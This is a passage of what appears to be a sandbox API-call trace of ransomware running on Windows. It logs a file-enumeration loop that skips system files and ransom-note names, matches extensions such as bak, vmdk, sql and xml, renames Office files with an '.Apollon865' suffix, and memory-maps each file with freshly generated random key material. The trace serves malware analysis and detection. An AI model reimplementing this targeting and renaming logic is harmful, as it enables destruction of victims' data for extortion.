	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="temp") returned -1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="pagefile.sys") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="boot") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="ids.txt") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="ntuser.dat") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="perflogs") returned 1
	[0069.167] lstrcmpiW (lpString1="PGLBL109.XML", lpString2="MSBuild") returned 1
	[0069.167] lstrlenW (lpString="PGLBL109.XML") returned 12
	[0069.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML") returned 64
	[0069.168] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL109.XML" | out: lpString1="PGLBL109.XML") returned="PGLBL109.XML"
	[0069.168] lstrlenW (lpString="PGLBL109.XML") returned 12
	[0069.168] lstrlenW (lpString="Apollon865") returned 10
	[0069.168] lstrcmpiW (lpString1="LBL109.XML", lpString2="Apollon865") returned 1
	[0069.168] lstrlenW (lpString=".dll") returned 4
	[0069.168] lstrcmpiW (lpString1="PGLBL109.XML", lpString2=".dll") returned 1
	[0069.168] lstrlenW (lpString=".lnk") returned 4
	[0069.168] lstrcmpiW (lpString1="PGLBL109.XML", lpString2=".lnk") returned 1
	[0069.168] lstrlenW (lpString=".ini") returned 4
	[0069.168] lstrcmpiW (lpString1="PGLBL109.XML", lpString2=".ini") returned 1
	[0069.168] lstrlenW (lpString=".sys") returned 4
	[0069.168] lstrcmpiW (lpString1="PGLBL109.XML", lpString2=".sys") returned 1
	[0069.168] lstrlenW (lpString="PGLBL109.XML") returned 12
	[0069.168] lstrlenW (lpString="bak") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.168] lstrlenW (lpString="ba_") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.168] lstrlenW (lpString="dbb") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.168] lstrlenW (lpString="vmdk") returned 4
	[0069.168] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.168] lstrlenW (lpString="rar") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.168] lstrlenW (lpString="zip") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.168] lstrlenW (lpString="tgz") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.168] lstrlenW (lpString="vbox") returned 4
	[0069.168] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.168] lstrlenW (lpString="vdi") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.168] lstrlenW (lpString="vhd") returned 3
	[0069.168] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.168] lstrlenW (lpString="vhdx") returned 4
	[0069.168] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.168] lstrlenW (lpString="avhd") returned 4
	[0069.168] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.169] lstrlenW (lpString="db") returned 2
	[0069.169] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.169] lstrlenW (lpString="db2") returned 3
	[0069.169] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.169] lstrlenW (lpString="db3") returned 3
	[0069.169] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.169] lstrlenW (lpString="dbf") returned 3
	[0069.169] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.169] lstrlenW (lpString="mdf") returned 3
	[0069.169] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.169] lstrlenW (lpString="mdb") returned 3
	[0069.169] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.169] lstrlenW (lpString="sql") returned 3
	[0069.169] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.169] lstrlenW (lpString="sqlite") returned 6
	[0069.169] lstrcmpiW (lpString1="09.XML", lpString2="sqlite") returned -1
	[0069.169] lstrlenW (lpString="sqlite3") returned 7
	[0069.169] lstrcmpiW (lpString1="109.XML", lpString2="sqlite3") returned -1
	[0069.169] lstrlenW (lpString="sqlitedb") returned 8
	[0069.169] lstrcmpiW (lpString1="L109.XML", lpString2="sqlitedb") returned -1
	[0069.169] lstrlenW (lpString="xml") returned 3
	[0069.169] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.169] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML.Apollon865") returned 75
	[0069.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.174] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=11116) returned 1
	[0069.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.177] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.178] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.178] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.178] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e70, lpName=0x0) returned 0x118
	[0069.180] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e70) returned 0x100000
	[0069.181] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.181] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.181] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.182] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.182] CloseHandle (hObject=0x118) returned 1
	[0069.182] CloseHandle (hObject=0x15c) returned 1
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.182] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.183] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x643bf200, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x643bf200, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xcdbee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL110.XML", cAlternateFileName="")) returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2=".") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="..") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="windows") returned -1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="bootmgr") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="temp") returned -1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="pagefile.sys") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="boot") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="ids.txt") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="ntuser.dat") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="perflogs") returned 1
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2="MSBuild") returned 1
	[0069.183] lstrlenW (lpString="PGLBL110.XML") returned 12
	[0069.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML") returned 64
	[0069.183] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL110.XML" | out: lpString1="PGLBL110.XML") returned="PGLBL110.XML"
	[0069.183] lstrlenW (lpString="PGLBL110.XML") returned 12
	[0069.183] lstrlenW (lpString="Apollon865") returned 10
	[0069.183] lstrcmpiW (lpString1="LBL110.XML", lpString2="Apollon865") returned 1
	[0069.183] lstrlenW (lpString=".dll") returned 4
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2=".dll") returned 1
	[0069.183] lstrlenW (lpString=".lnk") returned 4
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2=".lnk") returned 1
	[0069.183] lstrlenW (lpString=".ini") returned 4
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2=".ini") returned 1
	[0069.183] lstrlenW (lpString=".sys") returned 4
	[0069.183] lstrcmpiW (lpString1="PGLBL110.XML", lpString2=".sys") returned 1
	[0069.183] lstrlenW (lpString="PGLBL110.XML") returned 12
	[0069.183] lstrlenW (lpString="bak") returned 3
	[0069.183] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.183] lstrlenW (lpString="ba_") returned 3
	[0069.183] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.184] lstrlenW (lpString="dbb") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.184] lstrlenW (lpString="vmdk") returned 4
	[0069.184] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.184] lstrlenW (lpString="rar") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.184] lstrlenW (lpString="zip") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.184] lstrlenW (lpString="tgz") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.184] lstrlenW (lpString="vbox") returned 4
	[0069.184] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.184] lstrlenW (lpString="vdi") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.184] lstrlenW (lpString="vhd") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.184] lstrlenW (lpString="vhdx") returned 4
	[0069.184] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.184] lstrlenW (lpString="avhd") returned 4
	[0069.184] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.184] lstrlenW (lpString="db") returned 2
	[0069.184] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.184] lstrlenW (lpString="db2") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.184] lstrlenW (lpString="db3") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.184] lstrlenW (lpString="dbf") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.184] lstrlenW (lpString="mdf") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.184] lstrlenW (lpString="mdb") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.184] lstrlenW (lpString="sql") returned 3
	[0069.184] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.184] lstrlenW (lpString="sqlite") returned 6
	[0069.184] lstrcmpiW (lpString1="10.XML", lpString2="sqlite") returned -1
	[0069.184] lstrlenW (lpString="sqlite3") returned 7
	[0069.184] lstrcmpiW (lpString1="110.XML", lpString2="sqlite3") returned -1
	[0069.185] lstrlenW (lpString="sqlitedb") returned 8
	[0069.185] lstrcmpiW (lpString1="L110.XML", lpString2="sqlitedb") returned -1
	[0069.185] lstrlenW (lpString="xml") returned 3
	[0069.185] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.185] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML.Apollon865") returned 75
	[0069.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.186] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=842734) returned 1
	[0069.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.186] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.187] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.187] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.187] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcdef0, lpName=0x0) returned 0x118
	[0069.188] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcdef0) returned 0x36a0000
	[0069.233] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.239] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.239] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.240] UnmapViewOfFile (lpBaseAddress=0x36a0000) returned 1
	[0069.247] CloseHandle (hObject=0x118) returned 1
	[0069.247] CloseHandle (hObject=0x15c) returned 1
	[0069.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.260] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x656d1f00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x656d1f00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x40198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL111.XML", cAlternateFileName="")) returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2=".") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="..") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="windows") returned -1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="bootmgr") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="temp") returned -1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="pagefile.sys") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="boot") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="ids.txt") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="ntuser.dat") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="perflogs") returned 1
	[0069.260] lstrcmpiW (lpString1="PGLBL111.XML", lpString2="MSBuild") returned 1
	[0069.260] lstrlenW (lpString="PGLBL111.XML") returned 12
	[0069.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML") returned 64
	[0069.260] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL111.XML" | out: lpString1="PGLBL111.XML") returned="PGLBL111.XML"
	[0069.261] lstrlenW (lpString="PGLBL111.XML") returned 12
	[0069.261] lstrlenW (lpString="Apollon865") returned 10
	[0069.261] lstrcmpiW (lpString1="LBL111.XML", lpString2="Apollon865") returned 1
	[0069.261] lstrlenW (lpString=".dll") returned 4
	[0069.261] lstrcmpiW (lpString1="PGLBL111.XML", lpString2=".dll") returned 1
	[0069.261] lstrlenW (lpString=".lnk") returned 4
	[0069.261] lstrcmpiW (lpString1="PGLBL111.XML", lpString2=".lnk") returned 1
	[0069.261] lstrlenW (lpString=".ini") returned 4
	[0069.261] lstrcmpiW (lpString1="PGLBL111.XML", lpString2=".ini") returned 1
	[0069.261] lstrlenW (lpString=".sys") returned 4
	[0069.261] lstrcmpiW (lpString1="PGLBL111.XML", lpString2=".sys") returned 1
	[0069.261] lstrlenW (lpString="PGLBL111.XML") returned 12
	[0069.261] lstrlenW (lpString="bak") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.261] lstrlenW (lpString="ba_") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.261] lstrlenW (lpString="dbb") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.261] lstrlenW (lpString="vmdk") returned 4
	[0069.261] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.261] lstrlenW (lpString="rar") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.261] lstrlenW (lpString="zip") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.261] lstrlenW (lpString="tgz") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.261] lstrlenW (lpString="vbox") returned 4
	[0069.261] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.261] lstrlenW (lpString="vdi") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.261] lstrlenW (lpString="vhd") returned 3
	[0069.261] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.261] lstrlenW (lpString="vhdx") returned 4
	[0069.261] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.261] lstrlenW (lpString="avhd") returned 4
	[0069.261] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.261] lstrlenW (lpString="db") returned 2
	[0069.262] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.262] lstrlenW (lpString="db2") returned 3
	[0069.262] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.262] lstrlenW (lpString="db3") returned 3
	[0069.262] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.262] lstrlenW (lpString="dbf") returned 3
	[0069.262] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.262] lstrlenW (lpString="mdf") returned 3
	[0069.262] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.262] lstrlenW (lpString="mdb") returned 3
	[0069.262] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.262] lstrlenW (lpString="sql") returned 3
	[0069.262] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.262] lstrlenW (lpString="sqlite") returned 6
	[0069.262] lstrcmpiW (lpString1="11.XML", lpString2="sqlite") returned -1
	[0069.262] lstrlenW (lpString="sqlite3") returned 7
	[0069.262] lstrcmpiW (lpString1="111.XML", lpString2="sqlite3") returned -1
	[0069.262] lstrlenW (lpString="sqlitedb") returned 8
	[0069.262] lstrcmpiW (lpString1="L111.XML", lpString2="sqlitedb") returned -1
	[0069.262] lstrlenW (lpString="xml") returned 3
	[0069.262] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.262] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML.Apollon865") returned 75
	[0069.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl111.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.263] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=262552) returned 1
	[0069.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.264] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.265] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.265] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.265] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x404a0, lpName=0x0) returned 0x118
	[0069.273] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x404a0) returned 0x210000
	[0069.286] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.287] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.287] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
